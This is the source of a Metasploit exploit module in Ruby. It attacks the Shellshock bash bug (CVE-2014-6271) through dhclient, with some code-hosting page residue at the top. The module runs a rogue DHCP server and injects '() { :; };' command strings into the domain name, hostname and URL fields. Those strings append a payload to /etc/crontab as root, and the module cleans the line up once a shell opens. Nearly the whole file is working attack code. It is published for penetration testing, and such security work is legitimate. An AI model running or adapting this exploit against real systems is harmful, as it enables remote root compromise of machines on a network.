94 lines
2.9 KiB
Ruby
94 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex/proto/dhcp'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::DHCPServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Dhclient Bash Environment Variable Injection',
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'Description' => %q|
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When bash is started with an environment variable that begins with the
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string "() {", that variable is treated as a function definition and
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parsed as code. If extra commands are added after the function
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definition, they will be executed immediately. When dhclient receives
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an ACK that contains a domain name or hostname, they are passed to
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configuration scripts as environment variables, allowing us to trigger
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the bash bug.
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Because of the length restrictions and unusual networking scenario at
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time of exploitation, we achieve code execution by echoing our payload
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into /etc/crontab and clean it up when we get a shell.
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|,
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'Author' =>
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[
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'Stephane Chazelas', # Vulnerability discovery
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'egypt' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'References' =>
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[
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['CVE', '2014-6271'],
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['OSVDB', '112004'],
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['EDB', '34765']
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],
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'Payload' =>
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{
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# 255 for a domain name, minus some room for encoding
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'Space' => 200,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic bash telnet ruby',
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}
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},
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'Targets' => [ [ 'Automatic Target', { }] ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 24 2014'
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))
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deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
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end
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def on_new_session(session)
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print_status "Cleaning up crontab"
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# XXX this will brick a server some day
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session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
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end
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def exploit
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hash = datastore.copy
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# Quotes seem to be completely stripped, so other characters have to be
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# escaped
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p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
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echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
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hash['DOMAINNAME'] = "() { :; };#{echo}"
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if hash['DOMAINNAME'].length > 255
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raise ArgumentError, 'payload too long'
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end
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hash['HOSTNAME'] = "() { :; };#{echo}"
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hash['URL'] = "() { :; };#{echo}"
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start_service(hash)
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begin
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while @dhcp.thread.alive?
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sleep 2
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end
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ensure
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stop_service
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end
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end
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end
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